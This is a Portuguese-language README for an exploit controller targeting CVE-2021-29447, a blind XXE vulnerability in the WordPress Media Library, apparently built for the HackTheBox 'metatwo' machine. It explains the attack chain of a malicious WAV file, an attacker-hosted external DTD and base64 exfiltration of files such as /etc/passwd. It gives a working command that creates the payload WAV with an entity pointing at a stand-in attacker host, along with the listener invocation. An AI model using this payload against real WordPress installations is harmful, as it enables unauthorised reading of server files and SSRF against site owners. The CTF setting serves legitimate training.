
Controlador de leitura arbitrária de arquivos baseado no CVE-2021-29447
Criei este controlador ao fazer a máquina metatwo no HackTheBox para explorar a CVE-2021-29447, que é uma vulnerabilidade XXE do WordPress na Biblioteca de Mídia que afeta as versões 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. Nela, um usuário autenticado com permissão para enviar arquivos de mídia pode enviar um arquivo wav malicioso que pode levar à leitura arbitrária remota de arquivos e falsificação de requisição no lado do servidor (SSRF).
Para explorar essas vulnerabilidades, são necessárias várias etapas para completar um ataque bem-sucedido. Isso ocorre porque o resultado do metadado iXML analisado não é enviado de volta ao usuário, portanto, para explorá-la, precisamos de um payload XXE cego. Isso é possível incluindo uma Definição de Tipo de Documento (DTD) externa controlada pelo atacante, e precisamos criar o arquivo wav malicioso para receber a conexão no servidor de escuta do atacante. Depois de concluídas essas etapas, enviamos o arquivo wav para o servidor e aguardamos receber uma requisição HTTP que inclua o conteúdo codificado em base64 do nosso arquivo de payload, por exemplo: /etc/passwd, e então decodificamos o base64. Este controlador tem todas as soluções para essas várias etapas. Você só precisa digitar o nome do arquivo no controlador $console >
Blog detalhado https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
Nota: Este controlador está totalmente configurado para a máquina metatwo do HTB. Para uso externo, você precisará fazer algumas alterações nos scripts.
Crie um arquivo wave chamado payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
execute main.py
python3 main.py listen_ip
